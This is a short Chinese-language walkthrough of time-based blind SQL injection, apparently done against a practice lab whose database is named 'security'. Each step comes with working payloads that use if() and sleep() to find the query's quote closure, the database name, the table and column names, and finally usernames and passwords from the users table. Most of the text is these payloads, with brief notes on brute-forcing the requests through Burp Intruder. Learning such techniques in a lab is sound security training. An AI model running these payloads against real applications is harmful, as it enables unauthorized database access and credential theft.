1.判断是什么闭合,并使用sleep()函数判断是否执行了
1" and sleep(5) --+
2.根据if() 函数和sleep()函数响应结果判断数据库字符数
1" and if(length(database())>8,sleep(3),1) --+ //没有延迟
1" and if(length(database())>7,sleep(3),1) --+ //有延迟 据结果显示为8位
3.利用工具抓包爆破找出数据库名
1" and if(substr(database(),1,1)="s",sleep(3),1) --+ //执行该语句时抓包发到intruder模块
数据库名称为security
4.利用工具抓包爆破得出数据库中各个表的名称
1" and if(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)="e",sleep(3),1) --+
在访问该语句时抓包爆破流程与上述一直,将limit 0,1 中的0 改变即为不同的表,相同步骤可得出表名(只演示users表)
5.利用工具抓包爆破得出表中的字段
1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1)="e",sleep(3),1) --+
以下演示为id字段查询,其他表同理将limit0,1中的0改为1或2或3即可。
6.利用工具抓包爆破得出users表中的username和password。
1" and if(substr((select username from users limit 0,1),1,1)="a",sleep(3),1) --+
1" and if(substr((select password from users limit 0,1),1,1)="a",sleep(3),1) --+
不同的username和password更改limit0,1中的0即可。方法相同